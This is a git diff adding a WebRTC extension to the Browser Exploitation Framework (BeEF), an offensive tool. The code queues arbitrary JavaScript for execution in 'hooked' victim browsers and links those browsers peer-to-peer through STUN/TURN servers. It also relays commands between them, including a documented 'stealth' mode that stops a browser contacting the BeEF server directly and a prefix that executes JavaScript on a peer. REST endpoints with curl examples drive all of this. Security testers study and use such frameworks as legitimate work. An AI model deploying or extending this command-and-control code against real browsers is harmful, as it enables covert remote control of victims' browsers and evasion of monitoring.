{|opt,idx,val| + case opt + when "-h" + cmd_rtcstatus_help + return false + end + } + + if (args[0] == nil) + cmd_rtcstatus_help + return + else + BeEF::Core::Models::Rtcmanage.status(args[0].to_i) + end + end + + def cmd_rtcstatus_help(*args) + print_status("Sends a message to this browser - checking the WebRTC Status of all its peers") + print_status(" Usage: rtcstatus ") + end + def cmd_irb(*args) @@bare_opts.parse(args) {|opt, idx, val| case opt diff --git a/extensions/webrtc/api.rb b/extensions/webrtc/api.rb new file mode 100644 index 000000000..4397eab79 --- /dev/null +++ b/extensions/webrtc/api.rb @@ -0,0 +1,41 @@ +# +# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - http://beefproject.com +# See the file 'doc/COPYING' for copying permission +# +module BeEF +module Extension +module WebRTC + + module RegisterHttpHandler + + BeEF::API::Registrar.instance.register(BeEF::Extension::WebRTC::RegisterHttpHandler, BeEF::API::Server, 'mount_handler') + + # We register the http handler for the WebRTC signalling extension. + # This http handler will handle WebRTC signals from browser to browser + + # We also define an rtc message handler, so that the beefwebrtc object can send messages back into BeEF + def self.mount_handler(beef_server) + beef_server.mount('/rtcsignal', BeEF::Extension::WebRTC::SignalHandler) + beef_server.mount('/rtcmessage', BeEF::Extension::WebRTC::MessengeHandler) + beef_server.mount('/api/webrtc', BeEF::Extension::WebRTC::WebRTCRest.new) + end + + end + + module RegisterPreHookCallback + + BeEF::API::Registrar.instance.register(BeEF::Extension::WebRTC::RegisterPreHookCallback, BeEF::API::Server::Hook, 'pre_hook_send') + + # We register this pre hook action to ensure that signals going to a browser are included back in the hook.js polling + # This is also used so that BeEF can send RTCManagement messages to the hooked browser too + def self.pre_hook_send(hooked_browser, body, params, request, response) + dhook = BeEF::Extension::WebRTC::API::Hook.new + dhook.requester_run(hooked_browser, body) + end + + end + +end +end +end diff --git a/extensions/webrtc/api/hook.rb b/extensions/webrtc/api/hook.rb new file mode 100644 index 000000000..e76f97f78 --- /dev/null +++ b/extensions/webrtc/api/hook.rb @@ -0,0 +1,110 @@ +# +# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - http://beefproject.com +# See the file 'doc/COPYING' for copying permission +# + +# A lot of this logic is cloned from the requester extension, which had a sane way of sending/recvng +# JS to the clients.. + +module BeEF + module Extension + module WebRTC + module API + + require 'uri' + class Hook + + include BeEF::Core::Handlers::Modules::BeEFJS + + # If the Rtcsignal table contains requests that need to be sent (has_sent = waiting), retrieve + # and send them to the hooked browser. + # Don't forget, these are signalling messages for a peer, so we don't check that the request + # is for the hooked_browser_id, but the target + + # This logic also checks the Rtc + def requester_run(hb, body) + @body = body + rtcsignaloutput = [] + rtcmanagementoutput = [] + + # Get all RTCSignals for this browser + BeEF::Core::Models::Rtcsignal.all(:target_hooked_browser_id => hb.id, :has_sent => "waiting").each { |h| + # output << self.requester_parse_db_request(h) + rtcsignaloutput << h.signal + h.has_sent = "sent" + h.save + } + + # Get all RTCManagement messages for this browser + BeEF::Core::Models::Rtcmanage.all(:hooked_browser_id => hb.id, :has_sent => "waiting").each {|h| + rtcmanagementoutput << h.message + h.has_sent = "sent" + h.save + } + + # Return if we have no new data to add to hook.js + return if rtcsignaloutput.empty? and rtcmanagementoutput.empty? + + config = BeEF::Core::Configuration.instance + ws = BeEF::Core::Websocket::Websocket.instance + + # todo antisnatchor: prevent sending "content" multiple times. Better leaving it after the first run, and don't send it again. + #todo antisnatchor: remove this gsub crap adding some hook packing. + # The below is how antisnatchor was managing insertion of messages dependent on WebSockets or not + # Hopefully this still works + if config.get("beef.http.websocket.enable") && ws.getsocket(hb.session) + + rtcsignaloutput.each {|o| + add_rtcsignal_to_body o + } unless rtcsignaloutput.empty? + rtcmanagementoutput.each {|o| + add_rtcmanagement_to_body o + } unless rtcmanagementoutput.empty? + # ws.send(content + @body,hb.session) + ws.send(@body,hb.session) + #if we use WebSockets, just reply wih the component contents + else # if we use XHR-polling, add the component to the main hook file + rtcsignaloutput.each {|o| + add_rtcsignal_to_body o + } unless rtcsignaloutput.empty? + rtcmanagementoutput.each {|o| + add_rtcmanagement_to_body o + } unless rtcmanagementoutput.empty? + end + + end + + def add_rtcsignal_to_body(output) + @body << %Q{ + beef.execute(function() { + var peerid = null; + for (k in beefrtcs) { + if (beefrtcs[k].allgood === false) { + peerid = beefrtcs[k].peerid; + } + } + if (peerid == null) { + console.log('received a peer message, but, we are already setup?'); + } else { + beefrtcs[peerid].processMessage( + JSON.stringify(#{output}) + ); + } + }); + } + end + + def add_rtcmanagement_to_body(output) + @body << %Q{ + beef.execute(function() { + #{output} + }); + } + end + + end + end + end + end +end diff --git a/extensions/webrtc/config.yaml b/extensions/webrtc/config.yaml new file mode 100644 index 000000000..4fd0cfbd4 --- /dev/null +++ b/extensions/webrtc/config.yaml @@ -0,0 +1,14 @@ +# +# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - http://beefproject.com +# See the file 'doc/COPYING' for copying permission +# +beef: + extension: + webrtc: + name: 'WebRTC' + enable: false + authors: ["xntrik"] + stunservers: '["stun:stun.l.google.com:19302","stun:stun1.l.google.com:19302"]' + # stunservers: '["stun:stun.l.google.com:19302"]' + turnservers: '{"username": "someone%40somewhere.com", "password": "somepass", "uris": ["turn:numb.viagenie.ca:3478?transport=udp","turn:numb.viagenie.ca:3478?transport=tcp"]}' \ No newline at end of file diff --git a/extensions/webrtc/extension.rb b/extensions/webrtc/extension.rb new file mode 100644 index 000000000..09c7b5adf --- /dev/null +++ b/extensions/webrtc/extension.rb @@ -0,0 +1,25 @@ +# +# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - http://beefproject.com +# See the file 'doc/COPYING' for copying permission +# +module BeEF +module Extension +module WebRTC + + extend BeEF::API::Extension + + @short_name = 'webrtc' + @full_name = 'WebRTC' + @description = 'WebRTC extension to all browsers to connect to each other (P2P) with WebRTC' + +end +end +end + +require 'extensions/webrtc/models/rtcsignal' +require 'extensions/webrtc/models/rtcmanage' +require 'extensions/webrtc/api/hook' +require 'extensions/webrtc/handlers' +require 'extensions/webrtc/api' +require 'extensions/webrtc/rest/webrtc' diff --git a/extensions/webrtc/handlers.rb b/extensions/webrtc/handlers.rb new file mode 100644 index 000000000..c8975e41a --- /dev/null +++ b/extensions/webrtc/handlers.rb @@ -0,0 +1,96 @@ +# +# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - http://beefproject.com +# See the file 'doc/COPYING' for copying permission +# +module BeEF + module Extension + module WebRTC + + # + # The http handler that manages the WebRTC signals sent from browsers to other browsers. + # + class SignalHandler + + R = BeEF::Core::Models::Rtcsignal + Z = BeEF::Core::Models::HookedBrowser + + def initialize(data) + @data = data + setup() + end + + def setup() + + # validates the hook token + beef_hook = @data['beefhook'] || nil + (print_error "beefhook is null";return) if beef_hook.nil? + + # validates the target hook token + target_beef_id = @data['results']['targetbeefid'] || nil + (print_error "targetbeefid is null";return) if target_beef_id.nil? + + # validates the signal + signal = @data['results']['signal'] || nil + (print_error "Signal is null";return) if signal.nil? + + # validates that a hooked browser with the beef_hook token exists in the db + zombie_db = Z.first(:session => beef_hook) || nil + (print_error "Invalid beefhook id: the hooked browser cannot be found in the database";return) if zombie_db.nil? + + # validates that a target browser with the target_beef_token exists in the db + target_zombie_db = Z.first(:id => target_beef_id) || nil + (print_error "Invalid targetbeefid: the target hooked browser cannot be found in the database";return) if target_zombie_db.nil? + + # save the results in the database + signal = R.new( + :hooked_browser_id => zombie_db.id, + :target_hooked_browser_id => target_zombie_db.id, + :signal => signal + ) + signal.save + + end + end + + # + # The http handler that manages the WebRTC messages sent from browsers. + # + class MessengeHandler + + Z = BeEF::Core::Models::HookedBrowser + + def initialize(data) + @data = data + setup() + end + + def setup() + # validates the hook token + beef_hook = @data['beefhook'] || nil + (print_error "beefhook is null";return) if beef_hook.nil? + + # validates the target hook token + peer_id = @data['results']['peerid'] || nil + (print_error "peerid is null";return) if peer_id.nil? + + # validates the message + message = @data['results']['message'] || nil + (print_error "Message is null";return) if message.nil? + + # validates that a hooked browser with the beef_hook token exists in the db + zombie_db = Z.first(:session => beef_hook) || nil + (print_error "Invalid beefhook id: the hooked browser cannot be found in the database";return) if zombie_db.nil? + + # validates that a browser with the peerid exists in the db + peer_zombie_db = Z.first(:id => peer_id) || nil + (print_error "Invalid peer_id: the peer hooked browser cannot be found in the database";return) if peer_zombie_db.nil? + + # Writes the event into the BeEF Logger + BeEF::Core::Logger.instance.register('WebRTC', "Browser:#{zombie_db.id} received message from Browser:#{peer_zombie_db.id}: #{message}") + end + + end + end + end +end diff --git a/extensions/webrtc/models/rtcmanage.rb b/extensions/webrtc/models/rtcmanage.rb new file mode 100644 index 000000000..066152ca6 --- /dev/null +++ b/extensions/webrtc/models/rtcmanage.rb @@ -0,0 +1,62 @@ +# +# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - http://beefproject.com +# See the file 'doc/COPYING' for copying permission +# +module BeEF +module Core +module Models + # + # Table stores the queued up JS commands for managing the client-side webrtc logic. + # + class Rtcmanage + + include DataMapper::Resource + + storage_names[:default] = 'extension_webrtc_rtcmanage' + + property :id, Serial + + # The hooked browser id + property :hooked_browser_id, Text, :lazy => false + + # The message + property :message, Text, :lazy => true + + # Boolean value to say if the signal has been sent to the target peer + property :has_sent, Text, :lazy => false, :default => "waiting" + + # Starts the RTCPeerConnection process, establishing a WebRTC connection between the caller and the receiver + def self.initiate(caller, receiver, verbosity = false) + stunservers = BeEF::Core::Configuration.instance.get("beef.extension.webrtc.stunservers") + turnservers = BeEF::Core::Configuration.instance.get("beef.extension.webrtc.turnservers") + + # Add the beef.webrtc.start() JavaScript call into the Rtcmanage table - this will be picked up by the browser on next hook.js poll + # This is for the Receiver + r = BeEF::Core::Models::Rtcmanage.new(:hooked_browser_id => receiver, :message => "beef.webrtc.start(0,#{caller},JSON.stringify(#{turnservers}),JSON.stringify(#{stunservers}),#{verbosity});") + r.save + + # This is the same beef.webrtc.start() JS call, but for the Caller + r = BeEF::Core::Models::Rtcmanage.new(:hooked_browser_id => caller, :message => "beef.webrtc.start(1,#{receiver},JSON.stringify(#{turnservers}),JSON.stringify(#{stunservers}),#{verbosity});") + r.save + end + + # Advises a browser to send an RTCDataChannel message to its peer + # Similar to the initiate method, this loads up a JavaScript call to the beefrtcs[peerid].sendPeerMsg() function call + def self.sendmsg(from, to, message) + r = BeEF::Core::Models::Rtcmanage.new(:hooked_browser_id => from, :message => "beefrtcs[#{to}].sendPeerMsg('#{message}');") + r.save + end + + # Gets the browser to run the beef.webrtc.status() JavaScript function + # This JS function will return it's values to the /rtcmessage handler + def self.status(id) + r = BeEF::Core::Models::Rtcmanage.new(:hooked_browser_id => id, :message => "beef.webrtc.status(#{id});") + r.save + end + + end + +end +end +end diff --git a/extensions/webrtc/models/rtcsignal.rb b/extensions/webrtc/models/rtcsignal.rb new file mode 100644 index 000000000..f2d406fc7 --- /dev/null +++ b/extensions/webrtc/models/rtcsignal.rb @@ -0,0 +1,36 @@ +# +# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - http://beefproject.com +# See the file 'doc/COPYING' for copying permission +# +module BeEF +module Core +module Models + # + # Table stores the webrtc signals from a hooked_browser, directed to a target_hooked_browser + # + class Rtcsignal + + include DataMapper::Resource + + storage_names[:default] = 'extension_webrtc_rtcsignals' + + property :id, Serial + + # The hooked browser id + property :hooked_browser_id, Text, :lazy => false + + # The target hooked browser id + property :target_hooked_browser_id, Text, :lazy => false + + # The WebRTC signal to submit. In clear text. + property :signal , Text, :lazy => true + + # Boolean value to say if the signal has been sent to the target peer + property :has_sent, Text, :lazy => false, :default => "waiting" + + end + +end +end +end diff --git a/extensions/webrtc/rest/webrtc.rb b/extensions/webrtc/rest/webrtc.rb new file mode 100644 index 000000000..57c799b91 --- /dev/null +++ b/extensions/webrtc/rest/webrtc.rb @@ -0,0 +1,222 @@ +# +# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - http://beefproject.com +# See the file 'doc/COPYING' for copying permission +# +module BeEF + module Extension + module WebRTC + + # This class handles the routing of RESTful API requests that manage the WebRTC Extension + class WebRTCRest < BeEF::Core::Router::Router + + # Filters out bad requests before performing any routing + before do + config = BeEF::Core::Configuration.instance + + # Require a valid API token from a valid IP address + halt 401 unless params[:token] == config.get('beef.api_token') + halt 403 unless BeEF::Core::Rest.permitted_source?(request.ip) + + headers 'Content-Type' => 'application/json; charset=UTF-8', + 'Pragma' => 'no-cache', + 'Cache-Control' => 'no-cache', + 'Expires' => '0' + end + + # + # @note Initiate two browsers to establish a WebRTC PeerConnection + # Return success = true if the message has been queued - as this is asynchronous, you will have to monitor BeEFs event log + # for success messages. For instance: Event: Browser:1 received message from Browser:2: ICE Status: connected + # + # Input must be specified in JSON format + # + # +++ Example: +++ + #POST /api/webrtc/go?token=5b17be64715a184d66e563ec9355ee758912a61d HTTP/1.1 + #Host: 127.0.0.1:3000 + #Content-Type: application/json; charset=UTF-8 + # + #{"from":1, "to":2} + #===response (snip)=== + #HTTP/1.1 200 OK + #Content-Type: application/json; charset=UTF-8 + # + #{"success":"true"} + # + # +++ Example with verbosity on the client-side +++ + #POST /api/webrtc/go?token=5b17be64715a184d66e563ec9355ee758912a61d HTTP/1.1 + #Host: 127.0.0.1:3000 + #Content-Type: application/json; charset=UTF-8 + # + #{"from":1, "to":2, "verbose": true} + #===response (snip)=== + #HTTP/1.1 200 OK + #Content-Type: application/json; charset=UTF-8 + # + #{"success":"true"} + # + # +++ Example with curl +++ + # curl -H "Content-type: application/json; charset=UTF-8" -v + # -X POST -d '{"from":1,"to":2,"verbose":true}' + # http://127.0.0.1:3000/api/webrtc/go\?token\=df67654b03d030d97018f85f0284247d7f49c348 + post '/go' do + begin + body = JSON.parse(request.body.read) + + fromhb = body['from'] + tohb = body['to'] + verbose = body['verbose'] + + result = {} + + unless [fromhb,tohb].include?(nil) + if verbose == nil + BeEF::Core::Models::Rtcmanage.initiate(fromhb.to_i, tohb.to_i) + result['success'] = true + else + if verbose.to_s =~ (/^(true|t|yes|y|1)$/i) + BeEF::Core::Models::Rtcmanage.initiate(fromhb.to_i, tohb.to_i,true) + result['success'] = true + else + BeEF::Core::Models::Rtcmanage.initiate(fromhb.to_i, tohb.to_i) + result['success'] = true + end + end + else + result['success'] = false + end + + result.to_json + + rescue StandardError => e + print_error "Internal error while initiating RTCPeerConnections .. (#{e.message})" + halt 500 + end + end + + # + # @note Get the RTCstatus of a particular browser (and its peers) + # Return success = true if the message has been queued - as this is asynchronous, you will have to monitor BeEFs event log + # for success messages. For instance: Event: Browser:1 received message from Browser:2: Status checking - allgood: true + # + # +++ Example: +++ + #GET /api/webrtc/status/1?token=5b17be64715a184d66e563ec9355ee758912a61d HTTP/1.1 + #Host: 127.0.0.1:3000 + # + #===response (snip)=== + #HTTP/1.1 200 OK + #Content-Type: application/json; charset=UTF-8 + # + #{"success":"true"} + # + # +++ Example with curl +++ + # curl -H "Content-type: application/json; charset=UTF-8" -v + # -X GET http://127.0.0.1:3000/api/webrtc/status/1\?token\=df67654b03d030d97018f85f0284247d7f49c348 + get '/status/:id' do + begin + id = params[:id] + + BeEF::Core::Models::Rtcmanage.status(id.to_i) + result = {} + result['success'] = true + result.to_json + + rescue InvalidParamError => e + print_error e.message + halt 400 + rescue StandardError => e + print_error "Internal error while queuing status message for #{id} (#{e.message})" + halt 500 + end + end + + # + # @note Instruct a browser to send an RTC DataChannel message to one of its peers + # Return success = true if the message has been queued - as this is asynchronous, you will have to monitor BeEFs event log + # for success messages, IF ANY. + # + # Input must be specified in JSON format + # + # +++ Example: +++ + #POST /api/webrtc/msg?token=5b17be64715a184d66e563ec9355ee758912a61d HTTP/1.1 + #Host: 127.0.0.1:3000 + #Content-Type: application/json; charset=UTF-8 + # + #{"from":1, "to":2, "message":"Just a plain message"} + #===response (snip)=== + #HTTP/1.1 200 OK + #Content-Type: application/json; charset=UTF-8 + # + #{"success":"true"} + # + # +++ Example with curl +++ + # curl -H "Content-type: application/json; charset=UTF-8" -v + # -X POST -d '{"from":1,"to":2,"message":"Just a plain message"}' + # http://127.0.0.1:3000/api/webrtc/go\?token\=df67654b03d030d97018f85f0284247d7f49c348 + # + # Available client-side "message" options and handling: + # !gostealth - will put the browser into a stealth mode + # !endstealth - will put the browser into normal mode, and it will start talking to BeEF again + # % - will execute JavaScript on sending the results back to - who will relay back to BeEF + # - will simply send a datachannel message from to . + # If the is stealthed, it'll bounce the message back. + # If the is NOT stealthed, it'll send the message back to BeEF via the /rtcmessage handler + post '/msg' do + begin + + body = JSON.parse(request.body.read) + + fromhb = body['from'] + tohb = body['to'] + message = body['message'] + + result = {} + + unless [fromhb,tohb,message].include?(nil) + BeEF::Core::Models::Rtcmanage.sendmsg(fromhb.to_i, tohb.to_i, message) + result['success'] = true + else + result['success'] = false + end + + result.to_json + + rescue InvalidParamError => e + print_error e.message + halt 400 + rescue StandardError => e + print_error "Internal error while queuing message for #{id} (#{e.message})" + halt 500 + end + + end + + # Raised when invalid JSON input is passed to an /api/webrtc handler. + class InvalidJsonError < StandardError + + DEFAULT_MESSAGE = 'Invalid JSON input passed to /api/webrtc handler' + + def initialize(message = nil) + super(message || DEFAULT_MESSAGE) + end + + end + + # Raised when an invalid named parameter is passed to an /api/webrtc handler. + class InvalidParamError < StandardError + + DEFAULT_MESSAGE = 'Invalid parameter passed to /api/webrtc handler' + + def initialize(message = nil) + str = "Invalid \"%s\" parameter passed to /api/webrtc handler" + message = sprintf str, message unless message.nil? + super(message) + end + + end + + end + + end + end +end